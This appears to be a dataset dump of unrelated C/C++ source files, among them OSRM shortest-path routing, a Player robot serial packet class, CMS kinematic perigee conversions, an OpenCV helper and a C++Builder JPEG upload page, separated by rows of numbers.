} | 543 | 245 |
#pragma once
#include "VEC.hpp"
#include <deque>
class CMD;
typedef std::deque<CMD> CMD_DEQUE;
typedef int BOOL;
enum CMD_ENUM {
MOVE,
LASER,
WAIT
};
class __declspec(dllexport) CMD {
public:
CMD();
CMD(CMD &cpy);
CMD(CMD_ENUM &e, BOOL &b);
CMD(CMD_ENUM &e, VEC &v);
CMD(CMD_ENUM &e, NUM &n);
~CMD();
VEC coords;
CMD_ENUM command;
BOOL val;
NUM value;
private:
};
| 394 | 204 |
/*
* Player - One Hell of a Robot Server
* Copyright (C) 2000
* Brian Gerkey, Kasper Stoy, Richard Vaughan, & Andrew Howard
*
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*
*/
/*
* $Id: packet.cc 6374 2008-04-23 05:17:52Z gbiggs $
* GRASP version of the P2OS packet class. this class has methods
* for building, printing, sending and receiving GRASP Board packets.
*
*/
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include "packet.h"
#include <unistd.h>
#include <stdlib.h> /* for exit() */
#include "clodbuster.h"
//extern bool debug;
void GRASPPacket::Print() {
if (packet) {
printf("\"");
for(int i=0;i<(int)size;i++) {
printf("%u ", packet[i]);
}
puts("\"");
}
}
void GRASPPacket::PrintHex() {
if (packet) {
printf("\"");
for(int i=0;i<(int)size;i++) {
printf("0x%.2x ", packet[i]);
}
puts("\"");
}
}
int GRASPPacket::Receive( int fd,unsigned char command)
{
switch(command)
{
case ECHO_SERVO_VALUES:
case ECHO_MAX_SERVO_LIMITS:
case ECHO_MIN_SERVO_LIMITS:
case ECHO_CEN_SERVO_LIMITS:
retsize=8;
break;
case ECHO_ENCODER_COUNTS: retsize=6; break;
case ECHO_ENCODER_COUNTS_TS:
case ECHO_ADC: retsize=10;break;
case READ_ID:retsize=1;break;
case ECHO_SLEEP_MODE: retsize=1;break;
default:
retsize=0;return(1);
}
memset(packet,0,retsize);
int cnt = 0;
cnt=read( fd, packet, retsize);
if (cnt!=(int)retsize)
printf("wrong read size: asked %d got %d\n",retsize,cnt);
return(0);
}
int GRASPPacket::Build(unsigned char command, unsigned char data)
{
/* header */
packet[0]=0xFF;
packet[1]=command;
packet[2]=data;
size=3;
return(0);
}
int GRASPPacket::Build(unsigned char command)
{
/* header */
packet[0]=0xFF;
packet[1]=command;
packet[2]=0x00;
size=3;
return(0);
}
int GRASPPacket::Send(int fd)
{
int cnt=0;
cnt = write( fd, packet, size );
if(cnt !=(int)size)
{
perror("Send");
return(1);
}
/* if(debug)
{
struct timeval dummy;
GlobalTime->GetTime(&dummy);
printf("GRASPPacket::Send():%ld:%ld\n", dummy.tv_sec, dummy.tv_usec);
}*/
return(0);
}
| 2,875 | 1,156 |
/*
Copyright (c) 2015, Project OSRM contributors
All rights reserved.
Redistribution and use in source and binary forms, with or without modification,
are permitted provided that the following conditions are met:
Redistributions of source code must retain the above copyright notice, this list
of conditions and the following disclaimer.
Redistributions in binary form must reproduce the above copyright notice, this
list of conditions and the following disclaimer in the documentation and/or
other materials provided with the distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef SHORTEST_PATH_HPP
#define SHORTEST_PATH_HPP
#include "../typedefs.h"
#include "routing_base.hpp"
#include "../data_structures/search_engine_data.hpp"
#include "../util/integer_range.hpp"
#include <boost/assert.hpp>
template <class DataFacadeT>
class ShortestPathRouting final
: public BasicRoutingInterface<DataFacadeT, ShortestPathRouting<DataFacadeT>>
{
using super = BasicRoutingInterface<DataFacadeT, ShortestPathRouting<DataFacadeT>>;
using QueryHeap = SearchEngineData::QueryHeap;
SearchEngineData &engine_working_data;
public:
ShortestPathRouting(DataFacadeT *facade, SearchEngineData &engine_working_data)
: super(facade), engine_working_data(engine_working_data)
{
}
~ShortestPathRouting() {}
// allows a uturn at the target_phantom
// searches source forward/reverse -> target forward/reverse
void SearchWithUTurn(QueryHeap &forward_heap,
QueryHeap &reverse_heap,
const bool search_from_forward_node,
const bool search_from_reverse_node,
const bool search_to_forward_node,
const bool search_to_reverse_node,
const PhantomNode &source_phantom,
const PhantomNode &target_phantom,
const int total_distance_to_forward,
const int total_distance_to_reverse,
int &new_total_distance,
std::vector<NodeID> &leg_packed_path) const
{
forward_heap.Clear();
reverse_heap.Clear();
if (search_from_forward_node)
{
forward_heap.Insert(source_phantom.forward_node_id,
total_distance_to_forward -
source_phantom.GetForwardWeightPlusOffset(),
source_phantom.forward_node_id);
}
if (search_from_reverse_node)
{
forward_heap.Insert(source_phantom.reverse_node_id,
total_distance_to_reverse -
source_phantom.GetReverseWeightPlusOffset(),
source_phantom.reverse_node_id);
}
if (search_to_forward_node)
{
reverse_heap.Insert(target_phantom.forward_node_id,
target_phantom.GetForwardWeightPlusOffset(),
target_phantom.forward_node_id);
}
if (search_to_reverse_node)
{
reverse_heap.Insert(target_phantom.reverse_node_id,
target_phantom.GetReverseWeightPlusOffset(),
target_phantom.reverse_node_id);
}
BOOST_ASSERT(forward_heap.Size() > 0);
BOOST_ASSERT(reverse_heap.Size() > 0);
super::Search(forward_heap, reverse_heap, new_total_distance, leg_packed_path);
}
// If source and target are reverse on a oneway we need to find a path
// that connects the two. This is _not_ the shortest path in our model,
// as source and target are on the same edge based node.
// We force a detour by inserting "virtaul vias", which means we search a path
// from all nodes that are connected by outgoing edges to all nodes that are connected by
// incoming edges.
// ------^
// | ^source
// | ^
// | ^target
// ------^
void SearchLoop(QueryHeap &forward_heap,
QueryHeap &reverse_heap,
const bool search_forward_node,
const bool search_reverse_node,
const PhantomNode &source_phantom,
const PhantomNode &target_phantom,
const int total_distance_to_forward,
const int total_distance_to_reverse,
int &new_total_distance_to_forward,
int &new_total_distance_to_reverse,
std::vector<NodeID> &leg_packed_path_forward,
std::vector<NodeID> &leg_packed_path_reverse) const
{
BOOST_ASSERT(source_phantom.forward_node_id == target_phantom.forward_node_id);
BOOST_ASSERT(source_phantom.reverse_node_id == target_phantom.reverse_node_id);
if (search_forward_node)
{
forward_heap.Clear();
reverse_heap.Clear();
auto node_id = source_phantom.forward_node_id;
for (const auto edge : super::facade->GetAdjacentEdgeRange(node_id))
{
const auto& data = super::facade->GetEdgeData(edge);
if (data.forward)
{
auto target = super::facade->GetTarget(edge);
auto offset = total_distance_to_forward + data.distance - source_phantom.GetForwardWeightPlusOffset();
forward_heap.Insert(target, offset, target);
}
if (data.backward)
{
auto target = super::facade->GetTarget(edge);
auto offset = data.distance + target_phantom.GetForwardWeightPlusOffset();
reverse_heap.Insert(target, offset, target);
}
}
BOOST_ASSERT(forward_heap.Size() > 0);
BOOST_ASSERT(reverse_heap.Size() > 0);
super::Search(forward_heap, reverse_heap, new_total_distance_to_forward,
leg_packed_path_forward);
// insert node to both endpoints to close the leg
leg_packed_path_forward.push_back(node_id);
std::reverse(leg_packed_path_forward.begin(), leg_packed_path_forward.end());
leg_packed_path_forward.push_back(node_id);
std::reverse(leg_packed_path_forward.begin(), leg_packed_path_forward.end());
}
if (search_reverse_node)
{
forward_heap.Clear();
reverse_heap.Clear();
auto node_id = source_phantom.reverse_node_id;
for (const auto edge : super::facade->GetAdjacentEdgeRange(node_id))
{
const auto& data = super::facade->GetEdgeData(edge);
if (data.forward)
{
auto target = super::facade->GetTarget(edge);
auto offset = total_distance_to_reverse + data.distance - source_phantom.GetReverseWeightPlusOffset();
forward_heap.Insert(target, offset, target);
}
if (data.backward)
{
auto target = super::facade->GetTarget(edge);
auto offset = data.distance + target_phantom.GetReverseWeightPlusOffset();
reverse_heap.Insert(target, offset, target);
}
}
BOOST_ASSERT(forward_heap.Size() > 0);
BOOST_ASSERT(reverse_heap.Size() > 0);
super::Search(forward_heap, reverse_heap, new_total_distance_to_reverse,
leg_packed_path_reverse);
// insert node to both endpoints to close the leg
leg_packed_path_reverse.push_back(node_id);
std::reverse(leg_packed_path_reverse.begin(), leg_packed_path_reverse.end());
leg_packed_path_reverse.push_back(node_id);
std::reverse(leg_packed_path_reverse.begin(), leg_packed_path_reverse.end());
}
}
// searches shortest path between:
// source forward/reverse -> target forward
// source forward/reverse -> target reverse
void Search(QueryHeap &forward_heap,
QueryHeap &reverse_heap,
const bool search_from_forward_node,
const bool search_from_reverse_node,
const bool search_to_forward_node,
const bool search_to_reverse_node,
const PhantomNode &source_phantom,
const PhantomNode &target_phantom,
const int total_distance_to_forward,
const int total_distance_to_reverse,
int &new_total_distance_to_forward,
int &new_total_distance_to_reverse,
std::vector<NodeID> &leg_packed_path_forward,
std::vector<NodeID> &leg_packed_path_reverse) const
{
if (search_to_forward_node)
{
forward_heap.Clear();
reverse_heap.Clear();
reverse_heap.Insert(target_phantom.forward_node_id,
target_phantom.GetForwardWeightPlusOffset(),
target_phantom.forward_node_id);
if (search_from_forward_node)
{
forward_heap.Insert(source_phantom.forward_node_id,
total_distance_to_forward -
source_phantom.GetForwardWeightPlusOffset(),
source_phantom.forward_node_id);
}
if (search_from_reverse_node)
{
forward_heap.Insert(source_phantom.reverse_node_id,
total_distance_to_reverse -
source_phantom.GetReverseWeightPlusOffset(),
source_phantom.reverse_node_id);
}
BOOST_ASSERT(forward_heap.Size() > 0);
BOOST_ASSERT(reverse_heap.Size() > 0);
super::Search(forward_heap, reverse_heap, new_total_distance_to_forward,
leg_packed_path_forward);
}
if (search_to_reverse_node)
{
forward_heap.Clear();
reverse_heap.Clear();
reverse_heap.Insert(target_phantom.reverse_node_id,
target_phantom.GetReverseWeightPlusOffset(),
target_phantom.reverse_node_id);
if (search_from_forward_node)
{
forward_heap.Insert(source_phantom.forward_node_id,
total_distance_to_forward -
source_phantom.GetForwardWeightPlusOffset(),
source_phantom.forward_node_id);
}
if (search_from_reverse_node)
{
forward_heap.Insert(source_phantom.reverse_node_id,
total_distance_to_reverse -
source_phantom.GetReverseWeightPlusOffset(),
source_phantom.reverse_node_id);
}
BOOST_ASSERT(forward_heap.Size() > 0);
BOOST_ASSERT(reverse_heap.Size() > 0);
super::Search(forward_heap, reverse_heap, new_total_distance_to_reverse,
leg_packed_path_reverse);
}
}
void UnpackLegs(const std::vector<PhantomNodes> &phantom_nodes_vector,
const std::vector<NodeID> &total_packed_path,
const std::vector<std::size_t> &packed_leg_begin,
const int shortest_path_length,
InternalRouteResult &raw_route_data) const
{
raw_route_data.unpacked_path_segments.resize(packed_leg_begin.size() - 1);
raw_route_data.shortest_path_length = shortest_path_length;
for (const auto current_leg : osrm::irange<std::size_t>(0, packed_leg_begin.size() - 1))
{
auto leg_begin = total_packed_path.begin() + packed_leg_begin[current_leg];
auto leg_end = total_packed_path.begin() + packed_leg_begin[current_leg + 1];
const auto &unpack_phantom_node_pair = phantom_nodes_vector[current_leg];
super::UnpackPath(leg_begin, leg_end, unpack_phantom_node_pair,
raw_route_data.unpacked_path_segments[current_leg]);
raw_route_data.source_traversed_in_reverse.push_back(
(*leg_begin != phantom_nodes_vector[current_leg].source_phantom.forward_node_id));
raw_route_data.target_traversed_in_reverse.push_back(
(*std::prev(leg_end) !=
phantom_nodes_vector[current_leg].target_phantom.forward_node_id));
}
}
void operator()(const std::vector<PhantomNodes> &phantom_nodes_vector,
const std::vector<bool> &uturn_indicators,
InternalRouteResult &raw_route_data) const
{
BOOST_ASSERT(uturn_indicators.size() == phantom_nodes_vector.size() + 1);
engine_working_data.InitializeOrClearFirstThreadLocalStorage(
super::facade->GetNumberOfNodes());
QueryHeap &forward_heap = *(engine_working_data.forward_heap_1);
QueryHeap &reverse_heap = *(engine_working_data.reverse_heap_1);
int total_distance_to_forward = 0;
int total_distance_to_reverse = 0;
bool search_from_forward_node = phantom_nodes_vector.front().source_phantom.forward_node_id != SPECIAL_NODEID;
bool search_from_reverse_node = phantom_nodes_vector.front().source_phantom.reverse_node_id != SPECIAL_NODEID;
std::vector<NodeID> prev_packed_leg_to_forward;
std::vector<NodeID> prev_packed_leg_to_reverse;
std::vector<NodeID> total_packed_path_to_forward;
std::vector<std::size_t> packed_leg_to_forward_begin;
std::vector<NodeID> total_packed_path_to_reverse;
std::vector<std::size_t> packed_leg_to_reverse_begin;
std::size_t current_leg = 0;
// this implements a dynamic program that finds the shortest route through
// a list of vias
for (const auto &phantom_node_pair : phantom_nodes_vector)
{
int new_total_distance_to_forward = INVALID_EDGE_WEIGHT;
int new_total_distance_to_reverse = INVALID_EDGE_WEIGHT;
std::vector<NodeID> packed_leg_to_forward;
std::vector<NodeID> packed_leg_to_reverse;
const auto &source_phantom = phantom_node_pair.source_phantom;
const auto &target_phantom = phantom_node_pair.target_phantom;
BOOST_ASSERT(current_leg + 1 < uturn_indicators.size());
const bool allow_u_turn_at_via = uturn_indicators[current_leg + 1];
bool search_to_forward_node = target_phantom.forward_node_id != SPECIAL_NODEID;
bool search_to_reverse_node = target_phantom.reverse_node_id != SPECIAL_NODEID;
BOOST_ASSERT(!search_from_forward_node || source_phantom.forward_node_id != SPECIAL_NODEID);
BOOST_ASSERT(!search_from_reverse_node || source_phantom.reverse_node_id != SPECIAL_NODEID);
if (source_phantom.forward_node_id == target_phantom.forward_node_id &&
source_phantom.GetForwardWeightPlusOffset() > target_phantom.GetForwardWeightPlusOffset())
{
search_to_forward_node = search_from_reverse_node;
}
if (source_phantom.reverse_node_id == target_phantom.reverse_node_id &&
source_phantom.GetReverseWeightPlusOffset() > target_phantom.GetReverseWeightPlusOffset())
{
search_to_reverse_node = search_from_forward_node;
}
BOOST_ASSERT(search_from_forward_node || search_from_reverse_node);
if(search_to_reverse_node || search_to_forward_node)
{
if (allow_u_turn_at_via)
{
SearchWithUTurn(forward_heap, reverse_heap, search_from_forward_node,
search_from_reverse_node, search_to_forward_node,
search_to_reverse_node, source_phantom, target_phantom,
total_distance_to_forward, total_distance_to_reverse,
new_total_distance_to_forward, packed_leg_to_forward);
// if only the reverse node is valid (e.g. when using the match plugin) we actually need to move
if (target_phantom.forward_node_id == SPECIAL_NODEID)
{
BOOST_ASSERT(target_phantom.reverse_node_id != SPECIAL_NODEID);
new_total_distance_to_reverse = new_total_distance_to_forward;
packed_leg_to_reverse = std::move(packed_leg_to_forward);
new_total_distance_to_forward = INVALID_EDGE_WEIGHT;
}
else if (target_phantom.reverse_node_id != SPECIAL_NODEID)
{
new_total_distance_to_reverse = new_total_distance_to_forward;
packed_leg_to_reverse = packed_leg_to_forward;
}
}
else
{
Search(forward_heap, reverse_heap, search_from_forward_node,
search_from_reverse_node, search_to_forward_node, search_to_reverse_node,
source_phantom, target_phantom, total_distance_to_forward,
total_distance_to_reverse, new_total_distance_to_forward,
new_total_distance_to_reverse, packed_leg_to_forward, packed_leg_to_reverse);
}
}
else
{
search_to_forward_node = target_phantom.forward_node_id != SPECIAL_NODEID;
search_to_reverse_node = target_phantom.reverse_node_id != SPECIAL_NODEID;
BOOST_ASSERT(search_from_reverse_node == search_to_reverse_node);
BOOST_ASSERT(search_from_forward_node == search_to_forward_node);
SearchLoop(forward_heap, reverse_heap, search_from_forward_node,
search_from_reverse_node, source_phantom, target_phantom, total_distance_to_forward,
total_distance_to_reverse, new_total_distance_to_forward,
new_total_distance_to_reverse, packed_leg_to_forward, packed_leg_to_reverse);
}
// No path found for both target nodes?
if ((INVALID_EDGE_WEIGHT == new_total_distance_to_forward) &&
(INVALID_EDGE_WEIGHT == new_total_distance_to_reverse))
{
raw_route_data.shortest_path_length = INVALID_EDGE_WEIGHT;
raw_route_data.alternative_path_length = INVALID_EDGE_WEIGHT;
return;
}
// we need to figure out how the new legs connect to the previous ones
if (current_leg > 0)
{
bool forward_to_forward =
(new_total_distance_to_forward != INVALID_EDGE_WEIGHT) &&
packed_leg_to_forward.front() == source_phantom.forward_node_id;
bool reverse_to_forward =
(new_total_distance_to_forward != INVALID_EDGE_WEIGHT) &&
packed_leg_to_forward.front() == source_phantom.reverse_node_id;
bool forward_to_reverse =
(new_total_distance_to_reverse != INVALID_EDGE_WEIGHT) &&
packed_leg_to_reverse.front() == source_phantom.forward_node_id;
bool reverse_to_reverse =
(new_total_distance_to_reverse != INVALID_EDGE_WEIGHT) &&
packed_leg_to_reverse.front() == source_phantom.reverse_node_id;
BOOST_ASSERT(!forward_to_forward || !reverse_to_forward);
BOOST_ASSERT(!forward_to_reverse || !reverse_to_reverse);
// in this case we always need to copy
if (forward_to_forward && forward_to_reverse)
{
// in this case we copy the path leading to the source forward node
// and change the case
total_packed_path_to_reverse = total_packed_path_to_forward;
packed_leg_to_reverse_begin = packed_leg_to_forward_begin;
forward_to_reverse = false;
reverse_to_reverse = true;
}
else if (reverse_to_forward && reverse_to_reverse)
{
total_packed_path_to_forward = total_packed_path_to_reverse;
packed_leg_to_forward_begin = packed_leg_to_reverse_begin;
reverse_to_forward = false;
forward_to_forward = true;
}
BOOST_ASSERT(!forward_to_forward || !forward_to_reverse);
BOOST_ASSERT(!reverse_to_forward || !reverse_to_reverse);
// in this case we just need to swap to regain the correct mapping
if (reverse_to_forward || forward_to_reverse)
{
total_packed_path_to_forward.swap(total_packed_path_to_reverse);
packed_leg_to_forward_begin.swap(packed_leg_to_reverse_begin);
}
}
if (new_total_distance_to_forward != INVALID_EDGE_WEIGHT)
{
BOOST_ASSERT(target_phantom.forward_node_id != SPECIAL_NODEID);
packed_leg_to_forward_begin.push_back(total_packed_path_to_forward.size());
total_packed_path_to_forward.insert(total_packed_path_to_forward.end(),
packed_leg_to_forward.begin(),
packed_leg_to_forward.end());
search_from_forward_node = true;
}
else
{
total_packed_path_to_forward.clear();
packed_leg_to_forward_begin.clear();
search_from_forward_node = false;
}
if (new_total_distance_to_reverse != INVALID_EDGE_WEIGHT)
{
BOOST_ASSERT(target_phantom.reverse_node_id != SPECIAL_NODEID);
packed_leg_to_reverse_begin.push_back(total_packed_path_to_reverse.size());
total_packed_path_to_reverse.insert(total_packed_path_to_reverse.end(),
packed_leg_to_reverse.begin(),
packed_leg_to_reverse.end());
search_from_reverse_node = true;
}
else
{
total_packed_path_to_reverse.clear();
packed_leg_to_reverse_begin.clear();
search_from_reverse_node = false;
}
prev_packed_leg_to_forward = std::move(packed_leg_to_forward);
prev_packed_leg_to_reverse = std::move(packed_leg_to_reverse);
total_distance_to_forward = new_total_distance_to_forward;
total_distance_to_reverse = new_total_distance_to_reverse;
++current_leg;
}
BOOST_ASSERT(total_distance_to_forward != INVALID_EDGE_WEIGHT ||
total_distance_to_reverse != INVALID_EDGE_WEIGHT);
// We make sure the fastest route is always in packed_legs_to_forward
if (total_distance_to_forward > total_distance_to_reverse)
{
// insert sentinel
packed_leg_to_reverse_begin.push_back(total_packed_path_to_reverse.size());
BOOST_ASSERT(packed_leg_to_reverse_begin.size() == phantom_nodes_vector.size() + 1);
UnpackLegs(phantom_nodes_vector, total_packed_path_to_reverse,
packed_leg_to_reverse_begin, total_distance_to_reverse, raw_route_data);
}
else
{
// insert sentinel
packed_leg_to_forward_begin.push_back(total_packed_path_to_forward.size());
BOOST_ASSERT(packed_leg_to_forward_begin.size() == phantom_nodes_vector.size() + 1);
UnpackLegs(phantom_nodes_vector, total_packed_path_to_forward,
packed_leg_to_forward_begin, total_distance_to_forward, raw_route_data);
}
}
};
#endif /* SHORTEST_PATH_HPP */
| 25,384 | 7,170 |
#include "RecoVertex/KinematicFitPrimitives/interface/KinematicPerigeeConversions.h"
#include "TrackingTools/TrajectoryState/interface/PerigeeConversions.h"
ExtendedPerigeeTrajectoryParameters KinematicPerigeeConversions::extendedPerigeeFromKinematicParameters(
const KinematicState& state, const GlobalPoint& point) const {
//making an extended perigee parametrization
//out of kinematic state and point defined
AlgebraicVector6 res;
res(5) = state.mass();
// AlgebraicVector7 par = state.kinematicParameters().vector();
GlobalVector impactDistance = state.globalPosition() - point;
double theta = state.globalMomentum().theta();
double phi = state.globalMomentum().phi();
double pt = state.globalMomentum().transverse();
// double field = MagneticField::inGeVPerCentimeter(state.globalPosition()).z();
double field = state.magneticFieldInInverseGeV().z();
// double signTC = -state.particleCharge();
// double transverseCurvature = field/pt*signTC;
//making a proper sign for epsilon
// FIXME use scalar product...
double positiveMomentumPhi = ((phi > 0) ? phi : (2 * M_PI + phi));
double positionPhi = impactDistance.phi();
double positivePositionPhi = ((positionPhi > 0) ? positionPhi : (2 * M_PI + positionPhi));
double phiDiff = positiveMomentumPhi - positivePositionPhi;
if (phiDiff < 0.0)
phiDiff += (2 * M_PI);
double signEpsilon = ((phiDiff > M_PI) ? -1.0 : 1.0);
double epsilon =
signEpsilon * sqrt(impactDistance.x() * impactDistance.x() + impactDistance.y() * impactDistance.y());
double signTC = -state.particleCharge();
bool isCharged = (signTC != 0);
if (isCharged) {
res(0) = field / pt * signTC;
} else {
res(0) = 1 / pt;
}
res(1) = theta;
res(2) = phi;
res(3) = epsilon;
res(4) = impactDistance.z();
return ExtendedPerigeeTrajectoryParameters(res, state.particleCharge());
}
KinematicParameters KinematicPerigeeConversions::kinematicParametersFromExPerigee(
const ExtendedPerigeeTrajectoryParameters& pr, const GlobalPoint& point, const MagneticField* field) const {
AlgebraicVector7 par;
AlgebraicVector6 theVector = pr.vector();
double pt;
if (pr.charge() != 0) {
pt = std::abs(field->inInverseGeV(point).z() / theVector(1));
} else {
pt = 1 / theVector(1);
}
par(6) = theVector[5];
par(0) = theVector[3] * sin(theVector[2]) + point.x();
par(1) = -theVector[3] * cos(theVector[2]) + point.y();
par(2) = theVector[4] + point.z();
par(3) = cos(theVector[2]) * pt;
par(4) = sin(theVector[2]) * pt;
par(5) = pt / tan(theVector[1]);
return KinematicParameters(par);
}
KinematicState KinematicPerigeeConversions::kinematicState(const AlgebraicVector4& momentum,
const GlobalPoint& referencePoint,
const TrackCharge& charge,
const AlgebraicSymMatrix77& theCovarianceMatrix,
const MagneticField* field) const {
AlgebraicMatrix77 param2cart = jacobianParameters2Kinematic(momentum, referencePoint, charge, field);
AlgebraicSymMatrix77 kinematicErrorMatrix = ROOT::Math::Similarity(param2cart, theCovarianceMatrix);
// kinematicErrorMatrix.assign(param2cart*theCovarianceMatrix*param2cart.T());
KinematicParametersError kinematicParamError(kinematicErrorMatrix);
AlgebraicVector7 par;
AlgebraicVector4 mm = momentumFromPerigee(momentum, referencePoint, charge, field);
par(0) = referencePoint.x();
par(1) = referencePoint.y();
par(2) = referencePoint.z();
par(3) = mm(0);
par(4) = mm(1);
par(5) = mm(2);
par(6) = mm(3);
KinematicParameters kPar(par);
return KinematicState(kPar, kinematicParamError, charge, field);
}
AlgebraicMatrix77 KinematicPerigeeConversions::jacobianParameters2Kinematic(const AlgebraicVector4& momentum,
const GlobalPoint& referencePoint,
const TrackCharge& charge,
const MagneticField* field) const {
AlgebraicMatrix66 param2cart = PerigeeConversions::jacobianParameters2Cartesian(
AlgebraicVector3(momentum[0], momentum[1], momentum[2]), referencePoint, charge, field);
AlgebraicMatrix77 frameTransJ;
for (int i = 0; i < 6; ++i)
for (int j = 0; j < 6; ++j)
frameTransJ(i, j) = param2cart(i, j);
frameTransJ(6, 6) = 1;
// double factor = 1;
// if (charge != 0){
// double field = TrackingTools::FakeField::Field::inGeVPerCentimeter(referencePoint).z();
// factor = -field*charge;
// }
// AlgebraicMatrix frameTransJ(7, 7, 0);
// frameTransJ[0][0] = 1;
// frameTransJ[1][1] = 1;
// frameTransJ[2][2] = 1;
// frameTransJ[6][6] = 1;
// frameTransJ[3][3] = - factor * cos(momentum[2]) / (momentum[0]*momentum[0]);
// frameTransJ[4][3] = - factor * sin(momentum[2]) / (momentum[0]*momentum[0]);
// frameTransJ[5][3] = - factor / tan(momentum[1]) / (momentum[0]*momentum[0]);
//
// frameTransJ[3][5] = - factor * sin(momentum[1]) / (momentum[0]);
// frameTransJ[4][5] = factor * cos(momentum[1]) / (momentum[0]);
// frameTransJ[5][4] = -factor/ (momentum[0]*sin(momentum[1])*sin(momentum[1]));
return frameTransJ;
}
// Cartesian (px,py,px,m) from extended perigee
AlgebraicVector4 KinematicPerigeeConversions::momentumFromPerigee(const AlgebraicVector4& momentum,
const GlobalPoint& referencePoint,
const TrackCharge& ch,
const MagneticField* field) const {
AlgebraicVector4 mm;
double pt;
if (ch != 0) {
// pt = abs(MagneticField::inGeVPerCentimeter(referencePoint).z() / momentum[0]);
pt = std::abs(field->inInverseGeV(referencePoint).z() / momentum[0]);
} else {
pt = 1 / momentum[0];
}
mm(0) = cos(momentum[2]) * pt;
mm(1) = sin(momentum[2]) * pt;
mm(2) = pt / tan(momentum[1]);
mm(3) = momentum[3];
return mm;
}
| 6,318 | 2,132 |
#include "./matrix-ops.hpp"
namespace matrixOps = pobr::imgProcessing::utils::matrixOps;
const cv::Mat&
matrixOps::forEachPixel(
const cv::Mat& img,
const std::function<void(const uint64_t& x, const uint64_t& y)>& operation
)
{
for (uint64_t x = 0; x < img.cols; x++) {
for (uint64_t y = 0; y < img.rows; y++) {
operation(x, y);
}
}
return img;
}
| 398 | 157 |
//---------------------------------------------------------------------------
#include <vcl.h>
#pragma hdrstop
#include "UploadPicturesPg.h"
#include "PhotoDataPg.h"
#include <WebInit.h>
#include <WebReq.hpp>
#include <WebCntxt.hpp>
#include <WebFact.hpp>
#include <Jpeg.hpp>
#include <IBQuery.hpp>
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
USEADDITIONALFILES("*.html");
const char* rNoFilesUploaded = "No files uploaded - please select a file.";
const char* rRequiredImage = "Unsupported image. The supported image type is only jpeg.";
const char* rNoUploadFileFound = "No Upload File found! Did you select a file?";
const char* rUploadPageTitle = "Upload Pictures";
const char* rNoTitle = "(Untitled)";
const char* rNotLoggedIn = "Please login!";
TUploadPicturesPage *UploadPicturesPage()
{
return (TUploadPicturesPage*)WebContext()->FindModuleClass(__classid (TUploadPicturesPage));
}
static TWebPageAccess PageAccess;
static TWebPageInit WebInit(__classid(TUploadPicturesPage),
crOnDemand, caCache,
PageAccess << wpPublished << wpLoginRequired, ".html", "",
"Upload Pictures", "",
// Limit upload access to only user's and admin's
AnsiString(sUserRightStrings[urAdmin]) + ";" + AnsiString(sUserRightStrings[urUser]));
void __fastcall TUploadPicturesPage::UploadFileUploadFiles(TObject *Sender,
TUpdateFileList *Files)
{
try
{
TIBQuery *qryAddImage = PhotoData()->qryAddImage;
// the current user id is stored in the sessino
AnsiString sUserId = Session->Values[cUserId];
int nUserId = StrToInt(sUserId);
for (int i = 0; i < Files->Count; i++)
{
TDBImageType ImageType = itJpeg;
// Make sure that the file is jpeg content type
if (SameText(Files->Files[i]->ContentType, "image/jpeg") ||
SameText(Files->Files[i]->ContentType, "image/pjpeg"))
{
// Try to get the image width and height. An exception will be
// raised if it is an invalid image.
TJPEGImage *Jpeg = new TJPEGImage;
__try
{
Jpeg->LoadFromStream(Files->Files[i]->Stream);
qryAddImage->ParamByName(cImgWidth)->AsInteger =
Jpeg->Width;
qryAddImage->ParamByName(cImgHeight)->AsInteger =
Jpeg->Height;
}
__finally {
delete Jpeg;
}
Files->Files[i]->Stream->Position = 0;
// Save the file in the database
qryAddImage->ParamByName(cImgData)->SetBlobData(
((TMemoryStream*)Files->Files[i]->Stream)->Memory,
Files->Files[i]->Stream->Size);
qryAddImage->ParamByName(cImgSize)->AsInteger =
Files->Files[i]->Stream->Size;
}
/* TODO : You can add support for other image types here */
else
throw Exception(rRequiredImage);
// Fill in things common to all image types
qryAddImage->ParamByName(cImgType)->AsInteger = ImageType;
qryAddImage->ParamByName(cUserId)->AsInteger = nUserId;
if (Title->ActionValue)
qryAddImage->ParamByName(cImgTitle)->AsString = Title->ActionValue->Values[0];
else
qryAddImage->ParamByName(cImgTitle)->AsString = rNoTitle;
if (Description->ActionValue)
qryAddImage->ParamByName(cImgDescription)->AsString =
Description->ActionValue->Values[0];
else
qryAddImage->ParamByName(cImgDescription)->AsString = "";
if (Category->ActionValue)
qryAddImage->ParamByName(cCatId)->AsString = Category->ActionValue->Values[0];
qryAddImage->ExecSQL();
UploadedFiles->Strings->Values[ExtractFileName(Files->Files[i]->FileName)]
= IntToStr(Files->Files[i]->Stream->Size);
} // for loop
} // try
catch (Exception &e) {
UploadAdapter->Errors->AddError(&e, "");
}
}
//---------------------------------------------------------------------------
void __fastcall TUploadPicturesPage::UploadAdapterBeforeExecuteAction(
TObject *Sender, TObject *Action, TStrings *Params, bool &Handled)
{
if (Request->Files->Count <= 0)
UploadAdapter->Errors->AddError(rNoFilesUploaded);
}
//---------------------------------------------------------------------------
